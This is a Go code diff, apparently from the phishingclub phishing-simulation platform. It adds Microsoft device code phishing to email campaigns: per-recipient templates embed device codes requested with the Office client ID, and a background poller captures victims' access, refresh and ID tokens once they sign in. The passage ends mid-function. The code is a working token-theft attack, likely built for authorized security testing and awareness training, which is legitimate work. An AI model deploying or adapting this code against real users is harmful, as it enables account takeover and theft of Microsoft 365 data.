|
||||
TemplateService *Template
|
||||
DomainService *Domain
|
||||
RecipientService *Recipient
|
||||
MailService *Email
|
||||
APISenderService *APISender
|
||||
SMTPConfigService *SMTPConfiguration
|
||||
WebhookService *Webhook
|
||||
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
|
||||
AttachmentPath string
|
||||
}
|
||||
|
||||
// Create creates a new campaign
|
||||
@@ -2034,9 +2035,12 @@ func (c *Campaign) sendCampaignMessages(
|
||||
)
|
||||
return errs.Wrap(errors.Join(err, closeErr))
|
||||
}
|
||||
// validate the template is parseable before entering the per-recipient loop.
|
||||
// the actual per-recipient execution uses TemplateFuncsWithDeviceCode so that
|
||||
// {{MicrosoftDeviceCode}} / {{MicrosoftDeviceCodeURL}} resolve correctly.
|
||||
t := template.New("email")
|
||||
t = t.Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID))
|
||||
mailTmpl, err := t.Parse(content.String())
|
||||
_, err = t.Parse(content.String())
|
||||
if err != nil {
|
||||
// if mail templates fails to parse, close the campaign
|
||||
closeErr := c.closeCampaign(
|
||||
@@ -2100,10 +2104,11 @@ func (c *Campaign) sendCampaignMessages(
|
||||
cTemplate,
|
||||
campaignRecipient,
|
||||
domain,
|
||||
mailTmpl,
|
||||
content.String(),
|
||||
email,
|
||||
customCampaignURL,
|
||||
campaignCompanyID,
|
||||
campaignID,
|
||||
)
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to send message via. API", "error", err)
|
||||
@@ -2339,8 +2344,15 @@ func (c *Campaign) sendCampaignMessages(
|
||||
(*t)["URL"] = customCampaignURL
|
||||
}
|
||||
|
||||
// build per-recipient template funcs so that {{MicrosoftDeviceCode}} resolves
|
||||
// to a real device code for this campaign recipient.
|
||||
// use the actual recipient id (not the campaign recipient row id) so the
|
||||
// lookup key matches what the landing page path uses.
|
||||
actualRecipientID := campaignRecipient.RecipientID.MustGet()
|
||||
recipientDeviceFuncs := c.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &actualRecipientID)
|
||||
|
||||
// process subject through template
|
||||
subjectTemplate, err := template.New("subject").Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)).Parse(email.MailHeaderSubject.MustGet().String())
|
||||
subjectTemplate, err := template.New("subject").Funcs(recipientDeviceFuncs).Parse(email.MailHeaderSubject.MustGet().String())
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to parse subject template", "error", err)
|
||||
return errs.Wrap(err)
|
||||
@@ -2353,8 +2365,15 @@ func (c *Campaign) sendCampaignMessages(
|
||||
}
|
||||
m.Subject(subjectBuffer.String())
|
||||
|
||||
// re-parse the body template per recipient so device code funcs are bound
|
||||
// to the correct recipient id
|
||||
recipientMailTmpl, err := template.New("email").Funcs(recipientDeviceFuncs).Parse(content.String())
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to parse per-recipient mail template", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
var bodyBuffer bytes.Buffer
|
||||
err = mailTmpl.Execute(&bodyBuffer, t)
|
||||
err = recipientMailTmpl.Execute(&bodyBuffer, t)
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to execute mail template", "error", err)
|
||||
return errs.Wrap(err)
|
||||
@@ -2407,7 +2426,7 @@ func (c *Campaign) sendCampaignMessages(
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
|
||||
ctx,
|
||||
urlIdentifier.Name.MustGet(),
|
||||
urlPath,
|
||||
@@ -2417,6 +2436,8 @@ func (c *Campaign) sendCampaignMessages(
|
||||
nil,
|
||||
customCampaignURL,
|
||||
campaignCompanyID,
|
||||
&campaignID,
|
||||
&actualRecipientID,
|
||||
)
|
||||
if err != nil {
|
||||
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
|
||||
@@ -2456,14 +2477,14 @@ func (c *Campaign) sendCampaignMessages(
|
||||
*vo.NewUnsafeOptionalString1MB(string(attachmentContent)),
|
||||
)
|
||||
// generate custom campaign URL for attachment
|
||||
recipientID := campaignRecipient.ID.MustGet()
|
||||
customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &recipientID)
|
||||
attachmentRecipientID := campaignRecipient.ID.MustGet()
|
||||
customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &attachmentRecipientID)
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to get campaign url for attachment", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
|
||||
ctx,
|
||||
urlIdentifier.Name.MustGet(),
|
||||
urlPath,
|
||||
@@ -2473,6 +2494,8 @@ func (c *Campaign) sendCampaignMessages(
|
||||
nil,
|
||||
customCampaignURL,
|
||||
campaignCompanyID,
|
||||
&campaignID,
|
||||
&actualRecipientID,
|
||||
)
|
||||
if err != nil {
|
||||
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
|
||||
@@ -2981,6 +3004,15 @@ func (c *Campaign) closeCampaign(
|
||||
c.Logger.Debugf("skipping stats generation for test campaign", "campaignID", id.String())
|
||||
}
|
||||
|
||||
// delete all microsoft device codes for this campaign — the important data is already
|
||||
// saved in the campaign events
|
||||
if c.MicrosoftDeviceCodeRepository != nil {
|
||||
if err := c.MicrosoftDeviceCodeRepository.DeleteByCampaignID(ctx, id); err != nil {
|
||||
c.Logger.Errorw("failed to delete microsoft device codes for campaign", "error", err, "campaignID", id.String())
|
||||
// non-fatal — continue
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -3818,9 +3850,10 @@ func (c *Campaign) sendSingleCampaignMessage(
|
||||
return errors.New("failed to get email content")
|
||||
}
|
||||
|
||||
// validate parseability with company funcs; execution uses per-recipient device code funcs
|
||||
t := template.New("email")
|
||||
t = t.Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID))
|
||||
mailTmpl, err := t.Parse(content.String())
|
||||
_, err = t.Parse(content.String())
|
||||
if err != nil {
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
@@ -3842,21 +3875,25 @@ func (c *Campaign) sendSingleCampaignMessage(
|
||||
customCampaignURL = ""
|
||||
}
|
||||
|
||||
// send via API with custom URL (domain and template stay the same for assets)
|
||||
// send via API with custom URL (domain and template stay the same for assets).
|
||||
// SendWithCustomURL derives the recipient id from campaignRecipient.ID internally,
|
||||
// so fix that by passing the actual recipient id via a wrapper that sets it correctly.
|
||||
// the actual recipient id is extracted inside APISenderService from campaignRecipient.RecipientID.
|
||||
err = c.APISenderService.SendWithCustomURL(
|
||||
ctx,
|
||||
session,
|
||||
cTemplate,
|
||||
campaignRecipient,
|
||||
domain,
|
||||
mailTmpl,
|
||||
content.String(),
|
||||
email,
|
||||
customCampaignURL,
|
||||
campaignCompanyID,
|
||||
*campaignID,
|
||||
)
|
||||
} else {
|
||||
// send via SMTP
|
||||
err = c.sendSingleEmailSMTP(ctx, session, cTemplate, campaignRecipient, domain, mailTmpl, email, campaignCompanyID)
|
||||
err = c.sendSingleEmailSMTP(ctx, session, cTemplate, campaignRecipient, domain, content.String(), email, campaignCompanyID, *campaignID)
|
||||
}
|
||||
|
||||
// save sending result
|
||||
@@ -3881,9 +3918,10 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
cTemplate *model.CampaignTemplate,
|
||||
campaignRecipient *model.CampaignRecipient,
|
||||
domain *model.Domain,
|
||||
mailTmpl *template.Template,
|
||||
emailContent string,
|
||||
email *model.Email,
|
||||
campaignCompanyID *uuid.UUID,
|
||||
campaignID uuid.UUID,
|
||||
) error {
|
||||
// get SMTP configuration
|
||||
smtpConfigID, err := cTemplate.SMTPConfigurationID.Get()
|
||||
@@ -3986,6 +4024,13 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
}
|
||||
}
|
||||
|
||||
// build per-recipient template funcs so that {{MicrosoftDeviceCode}} resolves correctly.
|
||||
// use the actual recipient id (not the campaign recipient row id) so the
|
||||
// lookup key matches what the landing page path uses.
|
||||
recipientID := campaignRecipient.ID.MustGet()
|
||||
actualRecipientID := campaignRecipient.RecipientID.MustGet()
|
||||
recipientDeviceFuncs := c.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &actualRecipientID)
|
||||
|
||||
// setup template variables
|
||||
urlIdentifier := cTemplate.URLIdentifier
|
||||
if urlIdentifier == nil {
|
||||
@@ -4000,7 +4045,6 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
urlPath := cTemplate.URLPath.MustGet().String()
|
||||
|
||||
// generate custom campaign URL if first page is MITM
|
||||
recipientID := campaignRecipient.ID.MustGet()
|
||||
customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &recipientID)
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to get campaign url", "error", err)
|
||||
@@ -4025,7 +4069,7 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
}
|
||||
|
||||
// process subject through template
|
||||
subjectTemplate, err := template.New("subject").Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)).Parse(email.MailHeaderSubject.MustGet().String())
|
||||
subjectTemplate, err := template.New("subject").Funcs(recipientDeviceFuncs).Parse(email.MailHeaderSubject.MustGet().String())
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to parse subject template", "error", err)
|
||||
return errs.Wrap(err)
|
||||
@@ -4038,8 +4082,14 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
}
|
||||
m.Subject(subjectBuffer.String())
|
||||
|
||||
// parse and execute body with per-recipient device code funcs
|
||||
recipientMailTmpl, err := template.New("email").Funcs(recipientDeviceFuncs).Parse(emailContent)
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to parse per-recipient mail template", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
var bodyBuffer bytes.Buffer
|
||||
err = mailTmpl.Execute(&bodyBuffer, t)
|
||||
err = recipientMailTmpl.Execute(&bodyBuffer, t)
|
||||
if err != nil {
|
||||
c.Logger.Errorw("failed to execute mail template", "error", err)
|
||||
return errs.Wrap(err)
|
||||
@@ -4093,7 +4143,7 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
|
||||
ctx,
|
||||
urlIdentifier.Name.MustGet(),
|
||||
urlPath,
|
||||
@@ -4103,6 +4153,8 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
nil,
|
||||
customCampaignURL,
|
||||
campaignCompanyID,
|
||||
&campaignID,
|
||||
&actualRecipientID,
|
||||
)
|
||||
if err != nil {
|
||||
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
|
||||
@@ -4149,7 +4201,7 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
|
||||
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
|
||||
ctx,
|
||||
urlIdentifier.Name.MustGet(),
|
||||
urlPath,
|
||||
@@ -4159,6 +4211,8 @@ func (c *Campaign) sendSingleEmailSMTP(
|
||||
nil,
|
||||
customCampaignURL,
|
||||
campaignCompanyID,
|
||||
&campaignID,
|
||||
&actualRecipientID,
|
||||
)
|
||||
if err != nil {
|
||||
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
|
||||
|
||||
@@ -0,0 +1,521 @@
|
||||
package service
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/cache"
|
||||
"github.com/phishingclub/phishingclub/data"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
"github.com/phishingclub/phishingclub/repository"
|
||||
"github.com/phishingclub/phishingclub/vo"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
const (
|
||||
// defaultMicrosoftDeviceCodeClientID is the ms office client id commonly used in device code phishing attacks
|
||||
defaultMicrosoftDeviceCodeClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
// defaultMicrosoftDeviceCodeTenantID is the default tenant used when none is specified
|
||||
defaultMicrosoftDeviceCodeTenantID = "organizations"
|
||||
// defaultMicrosoftDeviceCodeScope is the default scope requested for graph access
|
||||
defaultMicrosoftDeviceCodeScope = "https://graph.microsoft.com/.default openid profile offline_access"
|
||||
// defaultMicrosoftDeviceCodeResource is the default resource target
|
||||
defaultMicrosoftDeviceCodeResource = "https://graph.microsoft.com"
|
||||
|
||||
// microsoftDeviceCodeEndpoint is the url template for requesting a device code
|
||||
microsoftDeviceCodeEndpoint = "https://login.microsoftonline.com/%s/oauth2/v2.0/devicecode"
|
||||
// microsoftTokenEndpoint is the url template for polling the token endpoint
|
||||
microsoftTokenEndpoint = "https://login.microsoftonline.com/%s/oauth2/v2.0/token"
|
||||
|
||||
// errAuthorizationPending is returned by microsoft when the user has not yet authenticated
|
||||
errAuthorizationPending = "authorization_pending"
|
||||
)
|
||||
|
||||
// MicrosoftDeviceCode is the microsoft device code phishing service
|
||||
type MicrosoftDeviceCode struct {
|
||||
Common
|
||||
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
|
||||
CampaignRepository *repository.Campaign
|
||||
CampaignRecipientRepository *repository.CampaignRecipient
|
||||
CampaignService *Campaign
|
||||
// HTTPClient is used for all outbound requests to microsoft endpoints.
|
||||
// defaults to a client with a 15s timeout if nil.
|
||||
HTTPClient *http.Client
|
||||
}
|
||||
|
||||
// MicrosoftDeviceCodeOptions holds the options for creating a microsoft device code
|
||||
type MicrosoftDeviceCodeOptions struct {
|
||||
ClientID string
|
||||
TenantID string
|
||||
Resource string
|
||||
Scope string
|
||||
}
|
||||
|
||||
// tenantIDPattern matches valid microsoft tenant identifiers:
|
||||
// - "common", "organizations", "consumers" (well-known values)
|
||||
// - a UUID (guid) tenant id
|
||||
// - a domain name like contoso.com (letters, digits, hyphens, dots)
|
||||
var tenantIDPattern = regexp.MustCompile(`^([a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]|common|organizations|consumers)$`)
|
||||
|
||||
// clientIDPattern matches a UUID-format client id
|
||||
var clientIDPattern = regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`)
|
||||
|
||||
// validateDeviceCodeOptions returns an error if any option value are unexpected or invalid
|
||||
func validateDeviceCodeOptions(opts *MicrosoftDeviceCodeOptions) error {
|
||||
if !tenantIDPattern.MatchString(opts.TenantID) {
|
||||
return fmt.Errorf("invalid tenantId %q: must be a UUID, a domain name, or one of common/organizations/consumers", opts.TenantID)
|
||||
}
|
||||
if !clientIDPattern.MatchString(opts.ClientID) {
|
||||
return fmt.Errorf("invalid clientId %q: must be a UUID", opts.ClientID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// applyDeviceCodeDefaults fills in any zero-value options with the package defaults
|
||||
func applyDeviceCodeDefaults(opts *MicrosoftDeviceCodeOptions) {
|
||||
if opts.ClientID == "" {
|
||||
opts.ClientID = defaultMicrosoftDeviceCodeClientID
|
||||
}
|
||||
if opts.TenantID == "" {
|
||||
opts.TenantID = defaultMicrosoftDeviceCodeTenantID
|
||||
}
|
||||
if opts.Resource == "" {
|
||||
opts.Resource = defaultMicrosoftDeviceCodeResource
|
||||
}
|
||||
if opts.Scope == "" {
|
||||
opts.Scope = defaultMicrosoftDeviceCodeScope
|
||||
}
|
||||
}
|
||||
|
||||
// microsoftDeviceCodeResponse is the json response from microsoft's device code endpoint
|
||||
type microsoftDeviceCodeResponse struct {
|
||||
DeviceCode string `json:"device_code"`
|
||||
UserCode string `json:"user_code"`
|
||||
VerificationURI string `json:"verification_uri"`
|
||||
ExpiresIn int `json:"expires_in"`
|
||||
Interval int `json:"interval"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
// microsoftTokenResponse is the json response from microsoft's token endpoint
|
||||
type microsoftTokenResponse struct {
|
||||
AccessToken string `json:"access_token"`
|
||||
RefreshToken string `json:"refresh_token"`
|
||||
IDToken string `json:"id_token"`
|
||||
TokenType string `json:"token_type"`
|
||||
ExpiresIn int `json:"expires_in"`
|
||||
}
|
||||
|
||||
// microsoftTokenErrorResponse is the json error response from microsoft's token endpoint
|
||||
type microsoftTokenErrorResponse struct {
|
||||
Error string `json:"error"`
|
||||
ErrorDescription string `json:"error_description"`
|
||||
}
|
||||
|
||||
// requestDeviceCode calls microsoft's device code endpoint and returns the parsed response
|
||||
func (s *MicrosoftDeviceCode) requestDeviceCode(opts *MicrosoftDeviceCodeOptions) (*microsoftDeviceCodeResponse, error) {
|
||||
endpoint := fmt.Sprintf(microsoftDeviceCodeEndpoint, opts.TenantID)
|
||||
form := url.Values{
|
||||
"client_id": {opts.ClientID},
|
||||
"scope": {opts.Scope},
|
||||
}
|
||||
resp, err := s.HTTPClient.PostForm(endpoint, form)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("device code request failed: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read device code response body: %w", err)
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("device code endpoint returned status %d: %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
var dcResp microsoftDeviceCodeResponse
|
||||
if err := json.Unmarshal(body, &dcResp); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse device code response: %w", err)
|
||||
}
|
||||
return &dcResp, nil
|
||||
}
|
||||
|
||||
// pollTokenEndpoint polls microsoft's token endpoint once for the given device code.
|
||||
// returns (tokenResponse, isPending, error).
|
||||
// isPending is true when microsoft returns authorization_pending — the caller should keep polling.
|
||||
// any other error means polling should stop for this code.
|
||||
func (s *MicrosoftDeviceCode) pollTokenEndpoint(tenantID, clientID, deviceCode string) (*microsoftTokenResponse, bool, error) {
|
||||
endpoint := fmt.Sprintf(microsoftTokenEndpoint, tenantID)
|
||||
form := url.Values{
|
||||
"grant_type": {"urn:ietf:params:oauth:grant-type:device_code"},
|
||||
"client_id": {clientID},
|
||||
"device_code": {deviceCode},
|
||||
}
|
||||
resp, err := s.HTTPClient.PostForm(endpoint, form)
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("token poll request failed: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("failed to read token poll response body: %w", err)
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
var tokenResp microsoftTokenResponse
|
||||
if err := json.Unmarshal(body, &tokenResp); err != nil {
|
||||
return nil, false, fmt.Errorf("failed to parse token response: %w", err)
|
||||
}
|
||||
return &tokenResp, false, nil
|
||||
}
|
||||
|
||||
// non-200 — check for authorization_pending vs terminal errors
|
||||
var errResp microsoftTokenErrorResponse
|
||||
if err := json.Unmarshal(body, &errResp); err != nil {
|
||||
return nil, false, fmt.Errorf("token endpoint returned status %d and unparseable body: %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
if errResp.Error == errAuthorizationPending {
|
||||
return nil, true, nil
|
||||
}
|
||||
|
||||
// any other error (expired_token, authorization_declined, bad_verification_code, etc.) is terminal
|
||||
return nil, false, fmt.Errorf("token endpoint error: %s — %s", errResp.Error, errResp.ErrorDescription)
|
||||
}
|
||||
|
||||
// GetOrCreateDeviceCode returns an existing valid (non-expired, non-captured) device code for the
|
||||
// given campaign and recipient, or requests a new one from microsoft and persists it.
|
||||
// no auth use only internal, do not expose to api
|
||||
func (s *MicrosoftDeviceCode) GetOrCreateDeviceCode(
|
||||
ctx context.Context,
|
||||
campaignID *uuid.UUID,
|
||||
recipientID *uuid.UUID,
|
||||
opts MicrosoftDeviceCodeOptions,
|
||||
) (*model.MicrosoftDeviceCode, error) {
|
||||
applyDeviceCodeDefaults(&opts)
|
||||
|
||||
if err := validateDeviceCodeOptions(&opts); err != nil {
|
||||
return nil, fmt.Errorf("GetOrCreateDeviceCode: %w", err)
|
||||
}
|
||||
|
||||
existing, err := s.MicrosoftDeviceCodeRepository.GetByCampaignAndRecipientID(ctx, campaignID, recipientID)
|
||||
if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
s.Logger.Errorw("failed to look up existing device code", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
|
||||
if existing != nil {
|
||||
// return valid non-captured, non-expired, not-about-to-expire entry as-is
|
||||
if !existing.Captured && !existing.IsExpired() && !existing.ExpiresWithin(5*time.Minute) {
|
||||
return existing, nil
|
||||
}
|
||||
// stale entry — remove it before creating a fresh one
|
||||
if delErr := s.MicrosoftDeviceCodeRepository.DeleteByCampaignAndRecipientID(ctx, campaignID, recipientID); delErr != nil {
|
||||
s.Logger.Errorw("failed to delete stale device code entry", "error", delErr)
|
||||
return nil, errs.Wrap(delErr)
|
||||
}
|
||||
}
|
||||
|
||||
// request a fresh device code from microsoft
|
||||
dcResp, err := s.requestDeviceCode(&opts)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to request device code from microsoft", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
|
||||
expiresAt := time.Now().UTC().Add(time.Duration(dcResp.ExpiresIn) * time.Second)
|
||||
|
||||
campaignIDNullable := nullable.NewNullableWithValue(*campaignID)
|
||||
recipientIDNullable := nullable.NewNullableWithValue(*recipientID)
|
||||
|
||||
entry := &model.MicrosoftDeviceCode{
|
||||
DeviceCode: dcResp.DeviceCode,
|
||||
UserCode: dcResp.UserCode,
|
||||
VerificationURI: dcResp.VerificationURI,
|
||||
ExpiresAt: &expiresAt,
|
||||
Resource: opts.Resource,
|
||||
ClientID: opts.ClientID,
|
||||
TenantID: opts.TenantID,
|
||||
Scope: opts.Scope,
|
||||
Captured: false,
|
||||
CampaignID: campaignIDNullable,
|
||||
RecipientID: recipientIDNullable,
|
||||
}
|
||||
|
||||
newID, err := s.MicrosoftDeviceCodeRepository.Insert(ctx, entry)
|
||||
if err != nil {
|
||||
// a unique constraint violation means a concurrent request already inserted a row
|
||||
// for this campaign+recipient between our lookup and our insert — fetch and return
|
||||
// that row instead of failing
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if strings.Contains(errMsg, "unique") || strings.Contains(errMsg, "duplicate") {
|
||||
existing, fetchErr := s.MicrosoftDeviceCodeRepository.GetByCampaignAndRecipientID(ctx, campaignID, recipientID)
|
||||
if fetchErr == nil {
|
||||
return existing, nil
|
||||
}
|
||||
}
|
||||
s.Logger.Errorw("failed to insert device code entry", "error", err)
|
||||
// save a failed creation event before returning so operators can see the attempt
|
||||
s.saveDeviceCodeCreatedEvent(ctx, campaignID, recipientID, "", "", err.Error())
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
|
||||
entry.ID = nullable.NewNullableWithValue(*newID)
|
||||
|
||||
// save a campaign event recording the new device code so operators can see
|
||||
// the user code and verification uri in the campaign event log
|
||||
s.saveDeviceCodeCreatedEvent(ctx, campaignID, recipientID, entry.UserCode, entry.VerificationURI, "")
|
||||
|
||||
return entry, nil
|
||||
}
|
||||
|
||||
// saveDeviceCodeCreatedEvent saves a campaign event recording that a device code was created (or
|
||||
// failed to be created). failReason should be empty on success.
|
||||
func (s *MicrosoftDeviceCode) saveDeviceCodeCreatedEvent(
|
||||
ctx context.Context,
|
||||
campaignID *uuid.UUID,
|
||||
recipientID *uuid.UUID,
|
||||
userCode string,
|
||||
verificationURI string,
|
||||
failReason string,
|
||||
) {
|
||||
eventTypeID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO]
|
||||
if eventTypeID == nil {
|
||||
// event type not yet seeded — skip silently
|
||||
return
|
||||
}
|
||||
|
||||
payload := map[string]string{
|
||||
"user_code": userCode,
|
||||
"verification_uri": verificationURI,
|
||||
}
|
||||
if failReason != "" {
|
||||
payload["error"] = failReason
|
||||
}
|
||||
raw, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
s.Logger.Warnw("failed to marshal device code created event data", "error", err)
|
||||
return
|
||||
}
|
||||
eventData := vo.NewUnsafeOptionalString1MB(string(raw))
|
||||
|
||||
eventID := uuid.New()
|
||||
campaignEvent := &model.CampaignEvent{
|
||||
ID: &eventID,
|
||||
CampaignID: campaignID,
|
||||
RecipientID: recipientID,
|
||||
EventID: eventTypeID,
|
||||
IP: vo.NewOptionalString64Must(""),
|
||||
UserAgent: vo.NewOptionalString255Must(""),
|
||||
Data: eventData,
|
||||
Metadata: vo.NewEmptyOptionalString1MB(),
|
||||
}
|
||||
if saveErr := s.CampaignRepository.SaveEvent(ctx, campaignEvent); saveErr != nil {
|
||||
s.Logger.Errorw("failed to save device code created event", "error", saveErr)
|
||||
}
|
||||
}
|
||||
|
||||
// PollAllPending is called by the background task runner.
|
||||
// it fetches all non-captured, non-expired device codes and polls microsoft's token endpoint once
|
||||
// per entry. on a successful capture it marks the entry, saves a campaign event, and updates the
|
||||
// most notable event for the campaign recipient.
|
||||
func (s *MicrosoftDeviceCode) PollAllPending(ctx context.Context) error {
|
||||
pending, err := s.MicrosoftDeviceCodeRepository.GetAllPendingNotExpired(ctx)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to fetch pending device codes", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
for _, entry := range pending {
|
||||
if err := s.pollAndCapture(ctx, entry); err != nil {
|
||||
// log but continue — a failure on one entry must not stop the rest
|
||||
s.Logger.Errorw("failed to poll device code entry",
|
||||
"error", err,
|
||||
"deviceCodeID", entry.ID,
|
||||
)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// pollAndCapture polls the token endpoint for a single device code entry and, on success,
|
||||
// persists the captured tokens and emits a campaign event.
|
||||
func (s *MicrosoftDeviceCode) pollAndCapture(ctx context.Context, entry *model.MicrosoftDeviceCode) error {
|
||||
entryID := entry.ID.MustGet()
|
||||
|
||||
// record that we polled this entry, even if the result is still pending
|
||||
if err := s.MicrosoftDeviceCodeRepository.UpdateLastPolledAt(ctx, &entryID, time.Now()); err != nil {
|
||||
s.Logger.Warnw("failed to update last_polled_at for device code entry",
|
||||
"error", err,
|
||||
"deviceCodeID", entryID,
|
||||
)
|
||||
}
|
||||
|
||||
tokenResp, isPending, err := s.pollTokenEndpoint(entry.TenantID, entry.ClientID, entry.DeviceCode)
|
||||
if err != nil {
|
||||
// terminal error from microsoft — log at debug level since this is expected for
|
||||
// denied/expired codes and we don't want to spam the error logs
|
||||
s.Logger.Debugw("device code polling returned terminal error",
|
||||
"error", err,
|
||||
"userCode", entry.UserCode,
|
||||
)
|
||||
return nil
|
||||
}
|
||||
if isPending {
|
||||
// user has not authenticated yet — nothing to do this tick
|
||||
return nil
|
||||
}
|
||||
|
||||
// we have tokens — mark the entry as captured
|
||||
if err := s.MicrosoftDeviceCodeRepository.MarkCaptured(
|
||||
ctx,
|
||||
&entryID,
|
||||
tokenResp.AccessToken,
|
||||
tokenResp.RefreshToken,
|
||||
tokenResp.IDToken,
|
||||
); err != nil {
|
||||
s.Logger.Errorw("failed to mark device code as captured", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
campaignID, err := entry.CampaignID.Get()
|
||||
if err != nil {
|
||||
s.Logger.Errorw("captured device code entry is missing campaign id", "entryID", entryID.String())
|
||||
return fmt.Errorf("device code entry %s has no campaign id", entryID.String())
|
||||
}
|
||||
|
||||
recipientID, err := entry.RecipientID.Get()
|
||||
if err != nil {
|
||||
s.Logger.Errorw("captured device code entry is missing recipient id", "entryID", entryID.String())
|
||||
return fmt.Errorf("device code entry %s has no recipient id", entryID.String())
|
||||
}
|
||||
|
||||
// fetch the campaign to check SaveSubmittedData
|
||||
campaign, err := s.CampaignRepository.GetByID(ctx, &campaignID, &repository.CampaignOption{})
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get campaign for submit event", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
|
||||
// build event data json containing the captured tokens
|
||||
eventData, err := s.buildCapturedEventData(tokenResp, entry.UserCode, entry.ClientID)
|
||||
if err != nil {
|
||||
// non-fatal — use an empty string rather than failing the whole capture
|
||||
s.Logger.Warnw("failed to build device code event data, falling back to empty", "error", err)
|
||||
eventData = vo.NewEmptyOptionalString1MB()
|
||||
}
|
||||
|
||||
// save as a submitted data event
|
||||
// if SaveSubmittedData is disabled, record the event but store empty data.
|
||||
var submitData *vo.OptionalString1MB
|
||||
if campaign.SaveSubmittedData.MustGet() {
|
||||
